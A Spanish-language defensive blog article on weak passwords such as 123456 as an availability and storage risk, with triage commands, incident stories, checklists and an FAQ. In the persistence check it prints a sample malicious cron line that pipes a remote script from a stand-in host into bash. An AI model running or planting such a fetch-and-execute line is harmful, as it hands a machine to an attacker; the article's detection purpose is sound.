123456: El auto-sabotaje favorito de la humanidad

Por qué 123456 sigue ganando

La gente no elige 123456 porque sea malintencionada. Lo elige porque es el camino de menor resistencia en un mundo diseñado para exigir contraseñas por todas partes, todo el tiempo, con una experiencia de usuario inconsistente y consecuencias inconsistentes. Luego nos sorprende que los atacantes hagan lo obvio e intenten la contraseña obvia.

Desde la perspectiva de SRE, 123456 no es solo un “problema de seguridad”. Es un problema de disponibilidad. Una vez que un atacante obtiene una entrada mediante una contraseña débil, no se detiene educadamente en leer datos. Queman CPU, saturan discos, martillean bases de datos, spamean correo saliente hasta que la reputación de tu IP queda hecha pedazos y desencadenan bucles de autoescalado que parecen “crecimiento” hasta que Finanzas llama.

Y desde la perspectiva de un ingeniero de almacenamiento, las cuentas comprometidas adoran convertir almacenamiento duradero en confeti caro: cifrar archivos, hacer snapshots con una cadencia incorrecta, borrar backups con las mismas credenciales y llenar volúmenes con basura hasta que todo queda en solo-lectura y de repente todos se interesan mucho por las “políticas de retención”.

Aquí está la verdad incómoda: 123456 no es una contraseña. Es un voto a favor del fracaso. Tu trabajo no es avergonzar a las personas para que voten mejor. Tu trabajo es diseñar sistemas donde ese voto no pueda pasar.

Una cita para enmarcar la mentalidad, porque funciona en cada postmortem: “La esperanza no es una estrategia.” — Gene Kranz.

Hechos y contexto histórico (corto, concreto, útil)

• La reutilización de contraseñas se normalizó cuando la persona promedio empezó a gestionar docenas de accesos; la memoria humana no escaló, así que los atacantes escalaron en su lugar.
• Las credenciales por defecto se enviaron en dispositivos y appliances durante décadas porque reducían llamadas al soporte y aceleraban la instalación.
• El credential stuffing se volvió común una vez que los volcados de brechas fueron grandes y buscables; los atacantes dejaron de “adivinar” y empezaron a “reproducir”.
• La fuerza bruta online se abarató a medida que las botnets y la infraestructura en la nube facilitaron intentos distribuidos y difíciles de bloquear.
• Las políticas de bloqueo fallaron en muchas organizaciones al habilitar denegación de servicio: los atacantes bloquean ejecutivos a propósito durante incidentes.
• El MFA basado en SMS subió porque era fácil, pero fue repetidamente socavado por el SIM swapping y procesos débiles de las telecos.
• “Reglas de complejidad” a menudo no mejoraron ni la seguridad ni la usabilidad; los usuarios respondieron con patrones previsibles a escala.
• Las cuentas de servicio históricamente escaparon al escrutinio porque no se quejan; simplemente siguen funcionando hasta convertirse en la peor higiene de credenciales.
• Los secretos en el código no se consideraban “secretos” en muchos flujos de trabajo antiguos; archivos de configuración y repositorios se trataban como internos y por tanto seguros.

Qué permite 123456: modelo de amenaza y modos de fallo

El manual del atacante es aburrido, por eso funciona

Cuando un atacante prueba 123456, no está siendo ingenioso. Está siendo eficiente. Apunta a la larga cola de cuentas e interfaces que olvidaste, heredaste o nunca supiste que existían:

• Paneles de administración expuestos “temporalmente” durante una migración.
• SSH en un bastión donde alguien creó un usuario local “solo por un minuto”.
• Dashboards de bases de datos con autenticación local aún habilitada porque el SSO “estaba en la hoja de ruta”.
• Appliances de almacenamiento con una interfaz web protegida por valores por defecto.
• Sistemas CI/CD donde un token de servicio tiene scopes de administrador porque “lo necesitaba para desplegar”.

Por qué las credenciales débiles son un problema de disponibilidad

Tras la compromisión, las cargas que dañan producción suelen ser:

• Robo de recursos: cryptomining, proxy, spam. Se nota por picos de CPU, promedios de carga, costes de egreso y vecinos con throttling.
• Acceso a datos: exfiltración o scraping. Se nota por patrones inusuales de consultas, exportaciones de larga duración y tormentas de lectura en almacenamiento.
• Destrucción: cifrado, borrado, eliminación de snapshots. Se nota por amplificación de escrituras, discos llenos, backups faltantes y directivos de repente muy ruidosos.

Las contraseñas débiles son el primer dominó. El resto de la línea está hecho de tus dependencias reales de producción: identidad, red, logging, backups y las partes de tu diseño de almacenamiento que solo recuerdas cuando están en llamas.

Broma corta #1: Una contraseña como 123456 es básicamente un felpudo de bienvenida, excepto que el felpudo también entrega acceso de administrador.

Guion de diagnóstico rápido: encuentra el cuello de botella en minutos

Cuando suena la alarma—picos de fallos de inicio de sesión, cuentas bloqueadas, CPU al máximo, discos thrashing—tu primer trabajo es determinar si estás enfrentando (a) adivinanza de contraseñas, (b) credential stuffing con inicios válidos, o (c) actividad post-compromiso. Aquí está la secuencia que ahorra tiempo.

Primero: ¿es presión de autenticación o daño post-autenticación?

1. Revisa las tasas de fallos de inicio de sesión en el borde (reverse proxy, WAF, SSH). Si los fallos se disparan, probablemente ves adivinanza o stuffing.
2. Revisa anomalías en inicios de sesión exitosos (IPs nuevas, geos nuevas, agentes de usuario extraños, inicios a horas raras). Si los éxitos aumentan o los patrones cambian, asume compromiso.
3. Revisa señales de saturación del sistema: CPU, memoria, load, I/O de disco y egreso de red. Si los recursos están al máximo, puede que ya estés ejecutando cargas del atacante.

Segundo: identifica el cuello de botella (¿CPU? ¿disco? ¿red? ¿bloqueos?)

1. CPU pegada con alto tiempo en sistema: cargas de crypto, compresión, tormentas TLS o sobrecarga del kernel.
2. Disco saturado con alta await: amplificación de logging, tormentas de escritura en bases de datos, procesos de cifrado o sistemas de archivos llenos.
3. Egreso de red saturado: exfiltración, spam, proxy o C2 de botnet.
4. Backend de autenticación saturado: LDAP/AD/IdP con problemas, causando reintentos en cascada y timeouts.

Tercero: aplica contención que no rompa el mundo

1. Limita y bloquea en el borde (temporal, dirigido). No te DDoSees con reglas globales.
2. Deshabilita o aísla interfaces de alto riesgo (portales de administración, endpoints de autenticación heredados).
3. Forza reinicios / revoca tokens para identidades afectadas, empezando por cuentas privilegiadas y de servicio.
4. Preserva evidencia: rota credenciales, pero conserva logs y una snapshot de hosts comprometidos si puedes hacerlo con seguridad.

Tareas prácticas (comandos, salidas, decisiones)

Estas son cosas reales que puedes ejecutar en una flota Linux, un proxy o un nodo en el radio de explosión. Cada tarea incluye un comando, salida de ejemplo, lo que significa y qué decisión tomar.

1) Detectar una ola de fuerza bruta contra SSH

cr0x@server:~$ sudo journalctl -u ssh --since "30 min ago" | grep -E "Failed password|Invalid user" | tail -n 8
Jan 22 11:41:02 server sshd[23144]: Failed password for invalid user admin from 203.0.113.77 port 52110 ssh2
Jan 22 11:41:05 server sshd[23144]: Failed password for invalid user admin from 203.0.113.77 port 52110 ssh2
Jan 22 11:41:09 server sshd[23149]: Failed password for root from 198.51.100.24 port 44891 ssh2
Jan 22 11:41:13 server sshd[23152]: Invalid user test from 203.0.113.77 port 52112
Jan 22 11:41:16 server sshd[23152]: Failed password for invalid user test from 203.0.113.77 port 52112 ssh2
Jan 22 11:41:20 server sshd[23158]: Failed password for ubuntu from 198.51.100.24 port 44902 ssh2
Jan 22 11:41:24 server sshd[23158]: Failed password for ubuntu from 198.51.100.24 port 44902 ssh2
Jan 22 11:41:29 server sshd[23163]: Failed password for invalid user oracle from 192.0.2.10 port 60123 ssh2

Significado: Múltiples IPs, nombres de usuario comunes, fallos rápidos. Esto es automatizado.

Decisión: Si aún permites auth por contraseña en SSH, párala. Cambia a claves, limita tasa y bloquea fuentes abusivas.

2) Contar fallos por IP origen (triaje rápido)

cr0x@server:~$ sudo journalctl -u ssh --since "30 min ago" | grep "Failed password" | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head
120 203.0.113.77
64 198.51.100.24
18 192.0.2.10

Significado: Los que más hablan. La IP más activa hace la mayor parte del daño.

Decisión: Bloquea las fuentes principales en el firewall mientras implementas controles duraderos (claves, MFA, fail2ban, reglas WAF).

3) Comprobar si la autenticación por contraseña en SSH está habilitada

cr0x@server:~$ sudo sshd -T | egrep 'passwordauthentication|permitrootlogin|pubkeyauthentication'
passwordauthentication yes
permitrootlogin prohibit-password
pubkeyauthentication yes

Significado: Se permiten contraseñas. Esa es tu invitación abierta a la adivinanza de credenciales.

Decisión: Establece PasswordAuthentication no, recarga SSH, asegúrate de acceso fuera de banda y verifica la distribución de claves primero.

4) Aplicar un bloqueo de firewall dirigido (contención temporal)

cr0x@server:~$ sudo iptables -I INPUT -s 203.0.113.77 -p tcp --dport 22 -j DROP
cr0x@server:~$ sudo iptables -L INPUT -n --line-numbers | head -n 10
Chain INPUT (policy ACCEPT)
num  target     prot opt source           destination
1    DROP       tcp  --  203.0.113.77     0.0.0.0/0            tcp dpt:22
2    ACCEPT     all  --  0.0.0.0/0        0.0.0.0/0

Significado: El host descartará paquetes SSH de esa fuente.

Decisión: Usa esto para alivio inmediato. No lo confundas con un control a largo plazo; los atacantes rotan IPs.

5) Confirmar si enfrentas credential stuffing en un login web

cr0x@server:~$ sudo awk '$9 ~ /401|403/ {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head
980 203.0.113.88
744 198.51.100.61
233 192.0.2.44

Significado: Alto volumen de fallos de auth desde pocas IPs. Probablemente es automatizado.

Decisión: Limita la tasa en endpoints de login, habilita mitigación de bots y revisa si hay éxitos desde las mismas fuentes.

6) Encontrar logins exitosos sospechosos (mismo endpoint, respuesta diferente)

cr0x@server:~$ sudo awk '$7 ~ /\/login/ && $9 ~ /200|302/ {print $1, $4, $7, $9, $12}' /var/log/nginx/access.log | tail -n 5
198.51.100.61 [22/Jan/2026:11:32:09 +0000] /login 302 "Mozilla/5.0"
203.0.113.88 [22/Jan/2026:11:32:14 +0000] /login 302 "python-requests/2.31.0"
192.0.2.44 [22/Jan/2026:11:32:19 +0000] /login 302 "Mozilla/5.0"
198.51.100.61 [22/Jan/2026:11:32:21 +0000] /login 302 "Mozilla/5.0"
203.0.113.88 [22/Jan/2026:11:32:25 +0000] /login 302 "python-requests/2.31.0"

Significado: Hay éxitos mezclados en la tormenta de fallos, incluyendo un cliente scriptado. Eso es una señal roja.

Decisión: Trátalo como posible toma de cuentas. Inicia invalidación de sesiones e investiga las cuentas afectadas inmediatamente.

7) Comprobar nuevos usuarios locales (persistencia post-compromiso)

cr0x@server:~$ sudo awk -F: '$3 >= 1000 {print $1 ":" $3 ":" $7}' /etc/passwd
ubuntu:1000:/bin/bash
deploy:1001:/bin/bash
backup:1002:/usr/sbin/nologin

Significado: Existen cuentas locales más allá de los usuarios del sistema. La pregunta es: ¿se esperan?

Decisión: Si aparece un usuario interactivo inesperado, asume compromiso. Deshabilítalo, rota claves/tokens y examina logs de autenticación para el momento de creación.

8) Identificar picos de egreso saliente (robo de datos o spam)

cr0x@server:~$ sudo ss -tnp state established '( sport = :443 or sport = :80 )' | head
ESTAB 0 0 10.0.1.12:443 198.51.100.200:51844 users:(("nginx",pid=1203,fd=33))
ESTAB 0 0 10.0.1.12:443 203.0.113.200:49210 users:(("nginx",pid=1203,fd=41))
ESTAB 0 0 10.0.1.12:443 192.0.2.200:37214 users:(("nginx",pid=1203,fd=52))

Significado: Conexiones establecidas son normales, pero necesitas contexto de volumen.

Decisión: Si ves miles de conexiones salientes desde una caja que no debería iniciarlas, comienza contención e inspecciona procesos.

9) Encontrar procesos con mayor CPU (el cryptominer se delata)

cr0x@server:~$ ps -eo pid,comm,%cpu,%mem --sort=-%cpu | head
 8442 kswapd0  92.1  0.0
 9011 xmrig    88.3  1.2
 1203 nginx    14.2  0.8
  982 mysqld    7.4 12.3

Significado: Un proceso como xmrig es una carga clásica de minería; kswapd0 también indica presión de memoria y thrash.

Decisión: Cuarentena del host, matar el proceso, preservar evidencia si se requiere, rotar credenciales y buscar persistencia (cron, unidades systemd, bashrc).

10) Detectar entradas cron sospechosas (persistencia)

cr0x@server:~$ sudo crontab -l
no crontab for root
cr0x@server:~$ sudo ls -l /etc/cron.d
total 8
-rw-r--r-- 1 root root 201 Jan 21 09:10 logrotate
-rw-r--r-- 1 root root 118 Jan 22 11:29 sys-update
cr0x@server:~$ sudo cat /etc/cron.d/sys-update
*/5 * * * * root curl -fsSL http://192.0.2.55/u.sh | bash

Significado: Un job cron que tira un script por HTTP casi nunca es “mantenimiento”. Es persistencia.

Decisión: Elimínalo, bloquea egreso hacia ese host, busca en la flota la misma firma y trata los secretos de esta máquina como quemados.

11) Comprobar la política de contraseñas en Linux (¿permites basura?)

cr0x@server:~$ sudo grep -E 'PASS_(MAX|MIN)_DAYS|PASS_MIN_LEN' /etc/login.defs
PASS_MAX_DAYS   99999
PASS_MIN_DAYS   0
PASS_MIN_LEN    6

Significado: Seis caracteres como mínimo y sin expiración efectiva es una invitación a contraseñas débiles y riesgo eterno.

Decisión: Pasa a requisitos más fuertes y, más importante, MFA y autenticación basada en claves para administradores. La expiración por sí sola no es una solución; puede aumentar la reutilización.

12) Verificar política de bloqueo en PAM (evitar autodoS)

cr0x@server:~$ sudo grep -R "pam_faillock" -n /etc/pam.d/common-auth
12:auth required pam_faillock.so preauth silent deny=5 unlock_time=900
13:auth [default=die] pam_faillock.so authfail deny=5 unlock_time=900

Significado: Bloqueo tras 5 fallos por 15 minutos. Esto puede detener la adivinanza, pero también puede ser usado como arma.

Decisión: Para cuentas de alto valor, prefiere MFA + límites de tasa + detección de anomalías. Mantén bloqueo, pero delimítalo cuidadosamente y protege usuarios críticos contra bloqueos dirigidos.

13) Detectar contraseñas débiles en AD con un enfoque seguro (sin texto plano, sin adivinar en prod)

cr0x@server:~$ sudo samba-tool domain passwordsettings show
Minimum password length: 12
Password complexity: on
Password history length: 24
Maximum password age (days): 0

Significado: La política es decente en papel: 12 caracteres, complejidad activada, sin rotación forzada.

Decisión: La política por sí sola no detiene a 123456 si tienes excepciones heredadas, apps locales o autenticación externa. Usa listas de contraseñas prohibidas y revisa contraseñas débiles con herramientas aprobadas.

14) Confirmar si tu app aún soporta login de admin local

cr0x@server:~$ grep -R "local_auth" -n /etc/myapp/config.yml
41:local_auth: true

Significado: La autenticación local está habilitada; el SSO puede existir pero no se aplica.

Decisión: Apaga la autenticación local o restringe su uso a cuentas de break-glass guardadas en una bóveda con MFA y monitoreo.

15) Buscar secretos filtrados en archivos de entorno (credenciales de servicio se esconden aquí)

cr0x@server:~$ sudo grep -R "PASSWORD=" -n /etc/systemd/system | head
/etc/systemd/system/api.service.d/override.conf:3:Environment="DB_PASSWORD=123456"
/etc/systemd/system/worker.service.d/override.conf:4:Environment="REDIS_PASSWORD=redispass"

Significado: Tienes secretos en texto plano en configuraciones de servicio, incluyendo un literal 123456. No es raro. Es simplemente caro.

Decisión: Mueve secretos a un gestor de secretos adecuado, rótaelos y restringe permisos de lectura en los archivos de unidad. Audita su propagación.

16) Validar que los backups sean inmutables o al menos separados (chequeo de cordura del ingeniero de storage)

cr0x@server:~$ zfs list -t snapshot -o name,creation | tail -n 5
tank/backups@2026-01-21_0200  Thu Jan 21 02:00 2026
tank/backups@2026-01-21_0400  Thu Jan 21 04:00 2026
tank/backups@2026-01-21_0600  Thu Jan 21 06:00 2026
tank/backups@2026-01-21_0800  Thu Jan 21 08:00 2026
tank/backups@2026-01-21_1000  Thu Jan 21 10:00 2026

Significado: Existen snapshots. Eso es necesario, no suficiente.

Decisión: Si las mismas credenciales que pueden borrar producción también pueden borrar snapshots, no tienes un plan de recuperación—tienes un plan de esperanza. Separa funciones y protege los backups.

Broma corta #2: Si tu plan de incidentes depende de “nadie intentaría 123456”, has construido una exhibición de museo, no un programa de seguridad.

Tres mini-historias corporativas desde las trincheras

Mini-historia 1: El incidente causado por una suposición equivocada

Una empresa SaaS mediana tenía un portal de administración para clientes, protegido por un CDN y un reverse proxy moderno. El equipo de ingeniería asumió que el endpoint de login era “suficientemente seguro” porque el proxy tenía reglas genéricas contra bots y porque la aplicación tenía una política de bloqueo: cinco intentos fallidos y luego 10 minutos de cooldown.

Entonces la cola de soporte se llenó. Los clientes no podían iniciar sesión. El dashboard de ops mostraba un estado de salud limpio: CPU normal, memoria normal, tasas de error algo elevadas pero no dramáticas. Parecía un problema de UX. No lo era.

Los atacantes no estaban intentando romper cuentas. Intentaban negar el acceso bloqueando deliberadamente a administradores de clientes de alto valor. Fue “credential stuffing” con un giro: aun sin credenciales válidas, el propio bloqueo era la carga útil. La suposición del equipo—“el bloqueo nos protege”—resultó ser el modelo de amenaza que el atacante quería.

La contención fue incómoda: deshabilitaron temporalmente el bloqueo para administradores de clientes, cambiaron a límites de tasa y reputación de IP en el borde, y añadieron un paso de desafío adaptativo para intentos de login sospechosos. El dolor del cliente bajó de inmediato.

La solución a largo plazo fue más limpia: exigir MFA para roles administrativos, añadir detección de anomalías para patrones de bloqueo y cambiar el comportamiento de bloqueo para desacelerar atacantes sin bloquear usuarios legítimos (retrasos progresivos en lugar de bloqueos duros).

Mini-historia 2: La optimización que rebotó

Una fintech tenía parámetros estrictos de hashing de contraseñas—algoritmo fuerte, factor de coste alto. Bien. Luego tuvieron un incidente de rendimiento: latencias de login subieron en horas pico. La solución rápida se planteó como “optimización”: bajar el coste del hash para que la autenticación no consumiera tanta CPU.

Funcionó. La latencia mejoró. Los gráficos se calmaron. Todos se felicitaron por ser pragmáticos bajo presión, lo cual es señal de que vas a aprender algo pronto.

En pocas semanas, la organización vio un aumento en tomas de cuentas, mayormente en cuentas con contraseñas reutilizadas. Los atacantes no estaban rompiendo hashes offline; estaban rellenando credenciales online. Pero el coste reducido disminuyó la penalidad de CPU por cada intento, haciendo el servicio más responsivo también para los atacantes. Los límites de tasa eran leves. Las reglas WAF genéricas. La optimización incrementó el rendimiento efectivo de la tubería del atacante.

La remediación fue una lección completa de SRE: no “optimices” la autenticación debilitándola. Añades capacidad, añades throttles más inteligentes, agregas MFA, impones mejor gestión de sesiones y proteges el endpoint de login como si fuera una base de datos de producción—porque lo es.

Volvieron a aumentar el coste de hashing, aplicaron retrasos progresivos y movieron las comprobaciones de alto riesgo a una capa dedicada con autoscaling y estricta observabilidad. También aprendieron a medir el tráfico atacante como una carga de trabajo de primera clase.

Mini-historia 3: La práctica aburrida pero correcta que salvó el día

Una organización de salud operaba una mezcla de entornos on-prem y cloud, incluyendo almacenamiento con datos regulados. No eran llamativos. No compraron cada nuevo producto de seguridad. Hicieron dos cosas aburridas consistentemente: logging centralizado con retención y auditorías regulares de credenciales para cuentas privilegiadas y cuentas de servicio.

Una mañana, se dispararon alertas por egreso saliente inusual desde un servidor de aplicaciones. La sospecha inmediata fue malware. Pero el on-call tenía algo mejor que sospecha: una traza clara de login. Los logs mostraron un inicio exitoso de un admin a un dashboard legado desde un rango de IP que nunca había aparecido antes, seguido por la creación de un token API.

El token se creó con una cuenta de servicio que había sido eximida de MFA “temporalmente” meses atrás. Esa exención tenía un ticket y el ticket tenía un dueño. Ese dueño era localizable. La línea de tiempo fue corta porque la evidencia ya estaba ahí, no esparcida en diez lugares.

Revocaron tokens, rotaron credenciales de la cuenta de servicio y bloquearon egreso. Lo más importante: restauraron la confianza rápidamente: los backups estaban en un sistema separado con credenciales separadas y los snapshots se retenían con derechos controlados de eliminación.

El incidente se convirtió en un evento menor en lugar de una brecha mayor. No porque tuvieran suerte, sino porque trataron la identidad como infraestructura de producción e hicieron el mantenimiento aburrido antes de la falla emocionante.

Errores comunes: síntoma → causa raíz → solución

1) Síntoma: “Vemos miles de inicios de sesión fallidos, pero no compromisos”

Causa raíz: Asumes que compromiso solo significa “datos accedidos”. Los atacantes también hacen denegación de servicio por bloqueo de cuentas, enumeración y reconocimiento.

Solución: Trata los fallos de login como una preocupación de SLO de disponibilidad. Añade límites de tasa, retrasos progresivos y detección de bots. Protege el endpoint de login como una API de producción.

2) Síntoma: “Habilitamos MFA, pero los atacantes aún entraron”

Causa raíz: El MFA no se aplicó a todos los caminos privilegiados (admin local heredado, tokens API, cuentas de servicio, cuentas break-glass). O usaste factores débiles sin controles compensatorios.

Solución: Haz inventario de cada camino de autenticación: UI, API, SSH, consolas de base de datos, dashboards admin. Aplica MFA y acceso condicional consistentemente. Elimina caminos heredados o colócalos detrás de controles más fuertes.

3) Síntoma: “Los usuarios siguen eligiendo contraseñas débiles a pesar de la política”

Causa raíz: Las reglas de complejidad entrenaron a los usuarios a crear patrones predecibles; no implementaste listas de contraseñas prohibidas ni gestores de contraseñas.

Solución: Usa una lista de contraseñas prohibidas y exige passphrases más largas. Proporciona un gestor de contraseñas y hazlo la opción por defecto, no una sugerencia.

4) Síntoma: “Una única cuenta comprometida tumbó también los backups”

Causa raíz: Derechos de eliminación de backups compartidos con derechos de admin de producción; no hay inmutabilidad ni separación de funciones.

Solución: Separa credenciales y roles. Usa backups inmutables o al menos retención write-once y identidades dedicadas para backups. Monitorea eventos de borrado de snapshots agresivamente.

5) Síntoma: “Bloqueamos IPs, pero el ataque continúa”

Causa raíz: Luchas contra un sistema distribuido con una lista estática. Los atacantes rotan IPs vía botnets y rangos en la nube.

Solución: Usa limitación de tasa, detección basada en comportamiento y controles basados en identidad (MFA, binding de tokens, posture de dispositivo), no solo bloqueos por IP.

6) Síntoma: “No podemos desactivar auth por contraseña en SSH porque la automatización fallará”

Causa raíz: La automatización usa contraseñas compartidas o usuarios locales ad-hoc, no claves, no credenciales de corta duración.

Solución: Mueve la automatización a claves SSH (o mejor: certificados de corta duración). Rota y acota credenciales. Trata las identidades de automatización como cuentas de servicio de alto privilegio.

7) Síntoma: “La latencia de login sube durante tráfico de ataque”

Causa raíz: La autenticación está limitada por CPU (coste de hashing, terminación TLS) o el backend de auth está saturado (timeouts LDAP/IdP). Los reintentos amplifican la carga.

Solución: Aísla la capa de auth, autoscalea, cachea responsablemente, añade circuit breakers y aplica throttling temprano (en el borde) antes del trabajo pesado del backend.

8) Síntoma: “Rotamos contraseñas, pero la actividad sospechosa continúa”

Causa raíz: No se revocaron tokens/sesiones; el atacante tiene persistencia (cron/systemd), u otras credenciales también fueron comprometidas.

Solución: Invalida sesiones, revoca tokens, rota todos los secretos en el radio de impacto, busca persistencia y verifica mediante logs que los tokens antiguos ya no funcionen.

Listas de verificación / plan paso a paso

Paso a paso: eliminar fallos clase 123456 sin hervir el océano

1. Inventario de superficies de autenticación. Lista cada camino de login: apps web, paneles admin, SSH, VPN, bases de datos, UIs de almacenamiento, CI/CD, herramientas de monitorización.
2. Mata credenciales por defecto. Para todo lo que se entregue con valores por defecto, cámbialos durante el aprovisionamiento. Sin excepciones.
3. Aplica MFA primero a roles privilegiados. Administradores, operadores, mantenedores de CI/CD, administradores de almacenamiento y cualquier cuenta que pueda borrar backups.
4. Desactiva auth por contraseña donde sea posible. SSH debería ser basado en claves; los paneles internos deberían estar detrás de SSO con acceso condicional.
5. Implementa una política de contraseñas prohibidas. Rechaza explícitamente cadenas débiles y secuencias comunes, incluyendo 123456 y sus variantes.
6. Arregla las cuentas de servicio. No usar contraseñas compartidas. Preferir tokens de corta vida. Acotar permisos. Rotar según un calendario que realmente sigas.
7. Añade límites de tasa y retrasos progresivos. En el borde, antes de operaciones costosas del backend. Trata la auth como una ruta crítica.
8. Centraliza logs y consérvalos. Eventos de autenticación, acciones administrativas, creación de tokens, borrado de snapshots y cambios de privilegios.
9. Separa la autoridad de backups. Los backups deben sobrevivir al compromiso de credenciales admin de producción.
10. Realiza ejercicios de mesa. Practica “credential stuffing + compromiso parcial” y mide tiempo a contención y tiempo a restauración.

Checklist operativa para un ataque activo

• Confirma si hay éxitos entre los fallos (stuffing vs guessing).
• Bloquea/limita en el borde; no golpees tu IdP/LDAP con reintentos.
• Identifica cuentas objetivo (privilegiadas primero). Fuerza reinicios y revoca sesiones/tokens.
• Inspecciona persistencia en hosts con comportamiento anómalo.
• Preserva logs y artefactos relevantes del host; no borres nada primero y preguntes después.
• Verifica la integridad y el aislamiento de backups antes de necesitarlos.

Preguntas frecuentes

¿Por qué 123456 sigue siendo tan común?

Porque la fricción es real y las consecuencias se perciben a posteriori. La gente optimiza por “funciona ahora”, especialmente bajo presión de tiempo. Los sistemas deben hacer que la ruta segura sea la más fácil.

¿Bastar con prohibir 123456?

No. Prohibir contraseñas débiles conocidas es lo mínimo. La verdadera mejora viene con MFA, eliminar auth por contraseña donde sea posible y limitar el radio de impacto mediante el principio de privilegio mínimo y el scoping de tokens.

¿Ayuda la complejidad de contraseñas?

A veces, pero a menudo entrena patrones previsibles. Prefiere passphrases más largas, listas de contraseñas prohibidas y gestores de contraseñas. La complejidad sin usabilidad conduce a la reutilización.

¿Deberíamos forzar rotación cada 90 días?

No por defecto. La rotación forzada puede aumentar cambios previsibles y reutilización a menos que haya evidencia de compromiso. Rota cuando el riesgo cambie (brecha, cambio de rol, actividad sospechosa) y para cuentas de servicio en un calendario gestionado.

¿Cuál es la diferencia entre fuerza bruta y credential stuffing?

La fuerza bruta adivina contraseñas a ciegas. El credential stuffing reutiliza pares usuario/contraseña conocidos de brechas previas. El stuffing tiene más tasas de éxito, por eso debes monitorizar los inicios exitosos por anomalías, no solo los fallos.

¿Qué hacer con cuentas de servicio que “no pueden usar MFA”?

Esa frase suele significar “lo diseñamos mal”. Usa tokens de corta duración, identidad de workload, certificados SSH o claves API fuertemente acotadas y guardadas en un gestor de secretos. Si debes usar un secreto estático, rótalo y limita sus permisos drásticamente.

¿Cómo evitamos bloquear usuarios legítimos durante un ataque?

Usa retrasos progresivos, reputación de dispositivo/IP y desafíos en lugar de bloqueos duros. Los bloqueos duros son fáciles de weaponizar por atacantes, sobre todo contra cuentas VIP.

¿Qué logs importan más al investigar una toma de cuentas?

Eventos de auth (éxito/fallo), creación y revocación de tokens/sesiones, cambios de privilegios/roles, restablecimientos de contraseña y acciones administrativas sensibles (exportar, borrar, destrucción de snapshots). Mantén timestamps consistentes y buscables.

¿Cómo se relaciona esto con almacenamiento y backups específicamente?

Las credenciales comprometidas se usan frecuentemente para borrar snapshots, cifrar comparticiones de archivos y destruir puntos de restauración. La resiliencia del almacenamiento es un problema de identidad: separa credenciales, aplica retención inmutable y monitorea derechos de eliminación.

¿El MFA basta para detener todo?

No. Reduce el riesgo drásticamente, pero los atacantes pivotan: secuestro de sesiones, robo de tokens, ingeniería social y explotación de caminos de autenticación heredados. El MFA es una base, no una línea final.

Próximos pasos que realmente reducen el riesgo

Empieza por los lugares donde 123456 duele más: cuentas privilegiadas, interfaces administrativas expuestas, SSH y cualquier cosa que pueda borrar backups. Haz el trabajo poco glamuroso: inventaria superficies de autenticación, aplica MFA consistentemente, desactiva auth por contraseña donde puedas y añade limitación de tasa que proteja a tu backend de ejecutar trabajo costoso por demanda del atacante.

Luego haz que la recuperación sea real. Separa la autoridad de backups, prueba restauraciones y monitorea los eventos que importan: creación de tokens, cambios de roles, borrado de snapshots e inicios de sesión exitosos desde contextos nuevos. Si no puedes responder “quién inició sesión, desde dónde y qué hizo” en minutos, tu logging no es observabilidad—es decoración.

El objetivo no es enseñar a los humanos a dejar de ser humanos. El objetivo es ejecutar sistemas que no permitan que seis dígitos se conviertan en daños de seis cifras.